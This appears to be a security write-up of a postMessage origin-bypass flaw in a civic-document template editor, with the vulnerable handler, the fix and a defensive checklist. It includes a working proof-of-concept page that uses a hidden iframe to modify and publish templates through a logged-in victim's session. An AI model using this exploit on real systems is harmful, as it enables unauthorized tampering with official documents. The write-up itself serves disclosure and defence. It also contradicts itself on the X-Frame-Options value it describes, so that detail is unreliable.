The iframe That Could Rewrite Ballot Templates
The platform managed civic documents. Templates for official correspondence, public-facing forms, procedural records. The kind of documents where accuracy is not optional and unauthorized modification is not a theoretical concern — it is a threat to institutional integrity.
During a security assessment of the platform, I was reviewing the JavaScript loaded by the template editor. The editor was a single-page application that allowed authorized users to create, modify, and publish document templates. It was feature-rich — drag-and-drop layout, field binding, version history, approval workflows. It was also listening for messages from other windows.
That listener had no idea who was talking to it.
The Message Handler
Buried in the editor's initialization code was an event listener for the message event:
javascript
window.addEventListener('message', function(event) {
var data = JSON.parse(event.data);
switch (data.action) {
case 'updateTemplate':
templateEngine.setContent(data.templateId, data.content);
templateEngine.save();
break;
case 'setFields':
templateEngine.updateFields(data.templateId, data.fields);
break;
case 'publishTemplate':
templateEngine.publish(data.templateId);
break;
case 'deleteTemplate':
templateEngine.remove(data.templateId);
break;
}
});Four actions. Update a template's content. Modify its fields. Publish it. Delete it. The full lifecycle of a document template, exposed through a message handler.
And not a single line checked where the message came from.
The Attack
The postMessage API allows cross-origin communication between windows. Each message event carries an event.origin property identifying the sender, and the receiver is expected to check it before processing anything — that check is the entire access control model. Without it, the handler accepts messages from every origin on the internet.
The platform's template editor was designed to receive messages from an internal administration panel that ran on a separate subdomain. The admin panel would embed the editor in an iframe and send postMessage commands to coordinate template operations — a reasonable architecture.
The problem: the editor did not verify that messages actually came from the admin panel. It processed any message with the correct structure, regardless of origin.
This meant anyone could embed the editor in an iframe and send commands to it.
The proof of concept was a simple HTML page:
html
<!DOCTYPE html>
<html>
<head><title>Template Modification PoC</title></head>
<body>
<iframe
id="editor"
src="https://platform.example.gov/editor/templates"
style="width:1px;height:1px;border:none;"
></iframe>
<script>
var editor = document.getElementById('editor');
editor.onload = function() {
// Modify the content of template ID 4071
editor.contentWindow.postMessage(JSON.stringify({
action: 'updateTemplate',
templateId: 4071,
content: '<h1>Modified by unauthorized source</h1><p>This content was injected through a postMessage origin bypass.</p>'
}), '*');
// Publish the modified template
setTimeout(function() {
editor.contentWindow.postMessage(JSON.stringify({
action: 'publishTemplate',
templateId: 4071
}), '*');
}, 1000);
};
</script>
</body>
</html>Host this page anywhere. When a user with an active session on the platform visits the page, the iframe loads the editor (inheriting the user's session cookies), and the postMessage calls modify and publish the template — all without the user seeing anything. The iframe is a single pixel. Invisible.
The attacker does not need credentials. They do not need to be on the platform's network. They do not need to find an injection point. They just need the victim to visit a page they control — a link in an email, a forum post, an advertisement.
What Could Be Modified
The template system managed documents with real-world consequences. Through the four exposed actions, an attacker could:
Alter template content — Change the text, layout, or structure of any document template. For templates used in official communications, this means putting words into an institution's mouth. For templates used in procedural documents, this means changing the rules.
Modify field bindings — Templates pulled data from backend systems through field bindings (name, date, reference number, address). An attacker could rebind fields to pull different data, display incorrect information, or add fields that would exfiltrate data when the template was rendered.
Publish modified templates — The publish action pushed templates to production. An attacker could modify a template and immediately publish it, making the malicious version the live version that would be used for new documents.
Delete templates — Remove templates entirely, disrupting operations that depend on them.
The combination of modification and publication was the critical chain. An attacker could change a template's content and push it live in a single sequence, with no approval gate in between — because the postMessage handler bypassed the normal approval workflow entirely.
Why the Origin Check Was Missing
This is a pattern I encounter frequently in assessments. The postMessage handler was built during a phase when the editor and admin panel ran on the same origin. The communication started as same-origin messaging, where origin checks are unnecessary because both sides share the same domain.
Later, the architecture changed. The admin panel moved to a separate subdomain for operational reasons. The developers updated the communication to use postMessage (since same-origin access no longer worked), but they carried over the implicit trust from the previous architecture. The handler processed messages the same way it always had — without checking who sent them.
The code worked. It did exactly what it was supposed to do when the admin panel sent commands. The tests passed. The feature shipped. No one noticed that the handler would also do exactly what it was supposed to do when an attacker's page sent the same commands.
The Fix
The immediate fix was adding origin validation:
javascript
var TRUSTED_ORIGINS = [
'https://admin.platform.example.gov'
];
window.addEventListener('message', function(event) {
// Reject messages from untrusted origins
if (TRUSTED_ORIGINS.indexOf(event.origin) === -1) {
console.warn('Rejected postMessage from untrusted origin:', event.origin);
return;
}
var data;
try {
data = JSON.parse(event.data);
} catch (e) {
return; // Reject malformed messages
}
// Validate message structure
if (!data.action || !data.templateId) {
return;
}
switch (data.action) {
case 'updateTemplate':
if (typeof data.content !== 'string') return;
templateEngine.setContent(data.templateId, data.content);
templateEngine.save();
break;
case 'setFields':
if (!Array.isArray(data.fields)) return;
templateEngine.updateFields(data.templateId, data.fields);
break;
case 'publishTemplate':
templateEngine.publish(data.templateId);
break;
case 'deleteTemplate':
templateEngine.remove(data.templateId);
break;
}
});The origin check is a single conditional. Three lines of code that gate access to the entire template management API.
But the fix went further than just adding the check. The team also implemented:
Structured message validation — Instead of blindly parsing any JSON string, the handler validates that the message contains the expected fields with the correct types. This prevents exploitation through malformed messages even from a trusted origin.
Anti-framing headers — The editor page was configured with the X-Frame-Options header set to SAMEORIGIN and a Content-Security-Policy with frame-ancestors limited to the admin panel's origin. This prevents the editor from being embedded in iframes by unauthorized pages:
X-Frame-Options: ALLOW-FROM https://admin.platform.example.gov
Content-Security-Policy: frame-ancestors https://admin.platform.example.gov
Server-side authorization on template operations — The postMessage handler was a client-side shortcut that bypassed server-side access controls. The backend API endpoints for template modification and publication were updated to enforce authorization checks independently, ensuring that even if the client-side handler was compromised, the server would reject unauthorized operations.
The Broader Pattern
This vulnerability is not unique to government platforms. The pattern appears across any application that uses postMessage for inter-window communication:
- Embedded editors that receive formatting or content commands from a parent page
- Payment widgets in iframes that accept transaction parameters via postMessage
- Single sign-on flows where token exchange happens through cross-origin messaging
- Analytics dashboards that accept filter and query parameters from an embedding page
- Chat widgets that receive configuration and user context from the host page
In every case, the security of the interaction depends entirely on whether the receiver checks event.origin. The API does not enforce this check. The browser does not enforce it. It is entirely the developer's responsibility.
The postMessage API is designed to be permissive. It deliberately allows cross-origin communication — that is its purpose. The origin property is provided as information, not as a gate. The gate must be built by the developer.
Defensive Checklist
For any application that handles postMessage events:
-
Always check
event.originagainst a strict allowlist. Use exact string matching — not substring checks, not regex, notstartsWith. An attacker who controlstrusted-origin.evil.comwill bypassorigin.startsWith('trusted-origin'). -
Validate message structure before processing. Check types, required fields, and value ranges. Treat the message data with the same suspicion as any user input.
-
Use anti-framing headers (
Content-Security-Policy: frame-ancestors) to prevent your page from being embedded in iframes by unauthorized domains. This provides defense-in-depth even if the origin check has a flaw. -
Enforce server-side authorization for any sensitive operation triggered by a postMessage. The client-side handler should be a convenience layer, not the security boundary.
-
Audit existing handlers in your codebase. Search for
addEventListener('message'andonmessageassignments. For each handler, verify that origin validation is the first operation performed.
The Takeaway
The postMessage API is a door. By default, it is open to everyone. The event.origin property is the lock. But the lock does not engage automatically — you have to turn it yourself.
A government platform's template management system was fully exposed to any website on the internet because a message handler processed commands without asking who sent them. The fix was three lines of code. The vulnerability existed for the entire lifetime of the feature.
The most dangerous client-side vulnerabilities are not the ones that require complex exploitation chains. They are the ones where the security mechanism exists, is well-documented, and is simply not used.